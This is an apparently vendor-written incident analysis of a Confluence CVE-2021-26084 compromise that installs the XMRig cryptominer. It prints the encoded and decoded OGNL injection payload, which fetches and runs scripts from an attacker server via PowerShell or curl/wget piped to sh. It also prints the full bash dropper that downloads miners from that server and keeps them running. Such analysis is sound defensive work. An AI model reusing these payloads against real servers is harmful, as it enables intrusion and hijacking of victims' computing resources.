Blog  

A Step-by-Step CVE-2021-26084 Compromise

A step-by-step CVE-2021-26084 compromise

In one of our blog posts last week, we described different payloads that we were observing related to the exploitation of CVE-2021-26084. The majority of the incidents were just trying to install crypto miners, but we expect to see other types of attackers soon. While we haven’t seen any intent of ransomware yet, Confluence servers often store critical information that ransomware attackers find very attractive.

Read on as we describe a successful exploit that installs a cryptominer (XMRig), and see how quickly a normal server connected in the Internet can be used for mining crypto currencies:

Everything started on Friday evening. A perfect timing for a security incident :)


An HTTP POST request was sent to one of our vulnerable Confluence servers:

queryString=aaaaaaaa%5Cu0027%2B%7BClass.forName%28%5Cu0027javax.script.ScriptEngineManager%5Cu0027%29.newInstance%28%29.getEngineByName%28%5Cu0027JavaScript%5Cu0027%29.%5Cu0065val%28%5Cu0027var+isWin+%3D+java.lang.System.getProperty%28%5Cu0022os.name%5Cu0022%29.toLowerCase%28%29.contains%28%5Cu0022win%5Cu0022%29%3B+var+c%5Cu006dw+%3D+new+java.lang.String%28%5Cu0022power%5Cu0073hell.%5Cu0065xe+-nop+-w+hidden+-c+%5Cu005c%5Cu005c%5Cu0022IEX+%28%28new-object+net.webclient%29.downloadstring%28%5Cu005c%5Cu0027http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.ps1%5Cu005c%5Cu0027%29%29%5Cu005c%5Cu005c%5Cu0022%5Cu0022%29%3Bvar+c%5Cu006dl+%3D+new+java.lang.String%28%5Cu0022%28curl+-fsSL+http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.sh%7C%7Cwget+-q+-O-+http%3A%2F%2F161.117.14.212%3A23%2Fstg161.117.14.212_23.sh%29%7Csh%5Cu0022%29%3Bvar+p+%3D+new+java.lang.%5Cu0050rocessBuilder%28%29%3B+if%28isWin%29%7Bp.com%5Cu006dand%28%5Cu0022c%5Cu006d.%5Cu0065xe%5Cu0022%2C+%5Cu0022%2Fc%5Cu0022%2C+c%5Cu006dw%29%3B+%7D+else%7Bp.com%5Cu006dand%28%5Cu0022ba%5Cu0073h%5Cu0022%2C+%5Cu0022-c%5Cu0022%2C+c%5Cu006dl%29%3B+%7Dp.redirectErrorStream%28true%29%3B+var+proce%5Cu0073s%3D+p.start%28%29%3B+var+inputStreamReader+%3D+new+java.io.InputStreamReader%28proce%5Cu0073s.getInputStream%28%29%29%3B+var+bufferedReader+%3D+new+java.io.BufferedReader%28inputStreamReader%29%3B+var+line+%3D+%5Cu0022%5Cu0022%3B+var+output+%3D+%5Cu0022%5Cu0022%3B+while%28%28line+%3D+bufferedReader.readLine%28%29%29+%21%3D+null%29%7Boutput+%3D+output+%2B+line+%2B+java.lang.Character.toString%2810%29%3B+%7D%5Cu0027%29%7D%2B%5Cu0027

Where the decoded payload is the following:

{Class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('
var isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
var cmw = new java.lang.String("powershell.exe -nop -w hidden -c \"IEX (new-object net.webclient).downloadstring(\'http:/161.117.14.212:23/stg161.117.14.212_23.ps1\')\");
var cml = new java.lang.String("(curl -fsSL http:/161.117.14.212:23/stg161.117.14.212_23.sh|wget -q -O- http:/161.117.14.212:23/stg161.117.14.212_23.sh)|sh");
var p = new java.lang.ProcessBuilder();
if (isWin) {
    p.command("cm.exe", "/c", cmw);
} else {
    p.command("bash", "-c", cml);
}
p.redirectErrorStream(true);
var process= p.start();
var inputStreamReader = new java.io.InputStreamReader(process.getInputStream());
var bufferedReader = new java.io.BufferedReader(inputStreamReader);
var line = "";
var output = "";
while(line = bufferedReader.readLine() != null) {
    output = output + line + java.lang.Character.toString(10);
}
')}

This is a well-known Java payload that instantiates a JavaScript engine for executing a simple script: it first checks the operating system. If it is a Windows machine, it downloads a PowerShell script using PowerShell (stg161.117.14.212_23.ps1), and if it is a Linux machine, it downloads a Bash script (stg161.117.14.212_23.sh).

It is a bit strange to see that the script is downloaded from the malicious web server using the TCP port 23, a port reserved for telnet, because in many organizations that port is usually blocked for outgoing connections. In addition, many network security products will trigger an alert if they see traffic to port 23/tcp (as it is usually not expected).

In this case, our server is a Linux machine, so the exploit downloaded the Bash script using the curl command:

The downloaded script first creates some temporary directories, and then downloads and executes the XMRig binary from the same malicious webserver (hxxp://161.117.14.212:23/bionic):

As with the vast majority of cryptominers, it attempts to change the MSR kernel parameters to be able to improve the mining efficiency up to 15% (it is a normal user account, all the events will fail):

As we can see, in less than two seconds, the attacker successfully compromised the Confluence server. But, how can the attacker gain persistence in the server? Or is the attacker just exploiting the server continuously?

Let’s have a closer look at the bash script that the attacker downloaded in the first stage:

#!/bin/sh

FILE_CC_SERVER="161.117.14.212:23"

# check tmp
TMP1="/var/tmp"
TMP2="/var/lock"
TMP3="/tmp"
mkdir -p $TMP1
mkdir -p $TMP2
mkdir -p $TMP3
if [ -d $TMP1 ]; then
    DIR=$TMP1
elif [ -d $TMP2 ]; then
    DIR=$TMP2
elif [ -d $TMP3 ]; then
    DIR=$TMP3
else
    DIR="."
fi

kill_too_old_my_running_miner() {
    # kill my miner that are running for more than 3 hours (10800 second)
    ps -eo comm,pid,etimes | awk '/45dT4wkGP93QJHRFJDPY/ {if ($3 > 10800) { print $2}}' | while read procid
        do
        kill -9 $procid
    done
}

kill_all_miner() {
    ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
        do
        kill -9 $procid
    done
}

download_and_run_miner() {
    # if [ ! "$(ps -fe|grep 'proecho'|grep -v grep)" ];
    if [ ! "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner not running
    then
        # download
        if [ -s /bin/wget ]; then
            WGET="/bin/wget -q -O";
        elif [ -s /usr/bin/wget ]; then
            WGET="/usr/bin/wget -q -O";
        elif [ -s /usr/sbin/wget ]; then
            WGET="/usr/sbin/wget -q -O";
        elif [ -s /usr/local/bin/wget ]; then
            WGET="/usr/local/bin/wget -q -O";
        elif [ -s /bin/curl ]; then
            WGET="/bin/curl -fsSL -o";
        elif [ -s /usr/bin/curl ]; then
            WGET="/usr/bin/curl -fsSL -o";
        elif [ -s /usr/sbin/curl ]; then
            WGET="/usr/sbin/curl -fsSL -o";
        elif [ -s /usr/local/bin/curl ]; then
            WGET="/usr/local/bin/curl -fsSL -o";
        fi

        # if created more than 12 hours ago
        if [ ! -f $DIR/rsyslogbionic ] || [ $(find "$DIR/rsyslogbionic" -mmin +720) ]; then
            $WGET $DIR/rsyslogbionic http://$FILE_CC_SERVER/bionic
            touch $DIR/rsyslogbionic
            chmod +x $DIR/rsyslogbionic
        fi
        kill_all_miner
        nohup $DIR/rsyslogbionic -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi

        # if created more than 12 hours ago
        if [ ! -f $DIR/rsyslogfocal ] || [ $(find "$DIR/rsyslogfocal" -mmin +720) ]; then
            $WGET $DIR/rsyslogfocal http://$FILE_CC_SERVER/focal
            touch $DIR/rsyslogfocal
            chmod +x $DIR/rsyslogfocal
        fi
        kill_all_miner
        nohup $DIR/rsyslogfocal -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi

        # if created more than 12 hours ago
        if [ ! -f $DIR/rsyslogfreebsd ] || [ $(find "$DIR/rsyslogfreebsd" -mmin +720) ]; then
            $WGET $DIR/rsyslogfreebsd http://$FILE_CC_SERVER/freebsd
            touch $DIR/rsyslogfreebsd
            chmod +x $DIR/rsyslogfreebsd
        fi
        kill_all_miner
        nohup $DIR/rsyslogfreebsd -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi

        # if created more than 12 hours ago
        if [ ! -f $DIR/rsysloglinux ] || [ $(find "$DIR/rsysloglinux" -mmin +720) ]; then
            $WGET $DIR/rsysloglinux http://$FILE_CC_SERVER/linuxstatic
            touch $DIR/rsysloglinux
            chmod +x $DIR/rsysloglinux
        fi
        kill_all_miner
        nohup $DIR/rsysloglinux -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi

        # if created more than 12 hours ago
        if [ ! -f $DIR/rsyslogxenial ] || [ $(find "$DIR/rsyslogxenial" -mmin +720) ]; then
            $WGET $DIR/rsyslogxenial http://$FILE_CC_SERVER/xenial
            touch $DIR/rsyslogxenial
            chmod +x $DIR/rsyslogxenial
        fi
        kill_all_miner
        nohup $DIR/rsyslogxenial -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh --donate-level=1 > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi



        # if created more than 12 hours ago
        if [ ! -f $DIR/rsyslogstak ] || [ $(find "$DIR/rsyslogstak" -mmin +720) ]; then
            $WGET $DIR/rsyslogstak http://$FILE_CC_SERVER/xmr-stak
            touch $DIR/rsyslogstak
            chmod +x $DIR/rsyslogstak
        fi
        kill_all_miner
        nohup $DIR/rsyslogstak -o pool.supportxmr.com:80 -u 45dT4wkGP93QJHRFJDPYUFJJN6AJRpWnbAkBbD6hbGWA6ruFJJ2ntb858BB1sCNEixDFNqUjbXUt1cq4wjmu3fTBTTPiRW2 -p sh -r "" -i 0 --currency monero > /dev/null 2>&1 &
        sleep 10
        if [ "$(ps -fe|grep '45dT4wkGP93QJHRFJDPY'|grep -v grep)" ]; # if my miner running
        then
            return 0
        fi
    else
        echo "Running"
    fi
}

kill_too_old_my_running_miner
download_and_run_miner

while true; do
    sleep 60
    kill_too_old_my_running_miner
    download_and_run_miner
done

In the last five lines of the shell script, we can see a never-ending loop (while true) that it is not only downloading and executing the cryptominer, but also checking that it is running. So in this case, the shell script is being used for both purposes.

If we list the server processes, we can see that the process is running continuously:

The persistence is a bit noisy (as any system administrator that lists the processes will quickly identify it) but it is a smart way to get persistence outside of the typical cronjob that the majority of the cryptominers install.

The script checks every 60 seconds that the cryptominer is running, and if it is not, checks whether the binary was downloaded in the last 12 hours. If it is an older file, then it tries to download a new version that will be executed. It also checks if the cryptominer is running for more than 3 hours, killing the process if that is the case.

Relevant IOCs

ValueDescription
161.117.14.212Alibaba.com Singapore
3c1a2e702e7079f9d49373049eff5e59fcf35d526b7a157a4a963fbdf9c7c75f/var/tmp/rsyslogbionic - XMRig 6.14.1 built on Aug 14 2021 with GCC


David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.

A step-by-Step CVE-2021-26084 compromise
Read about a successful crypto mining exploit of the recent CVE-2021-26084

Like Jim Morrison said, this is the end. But you can...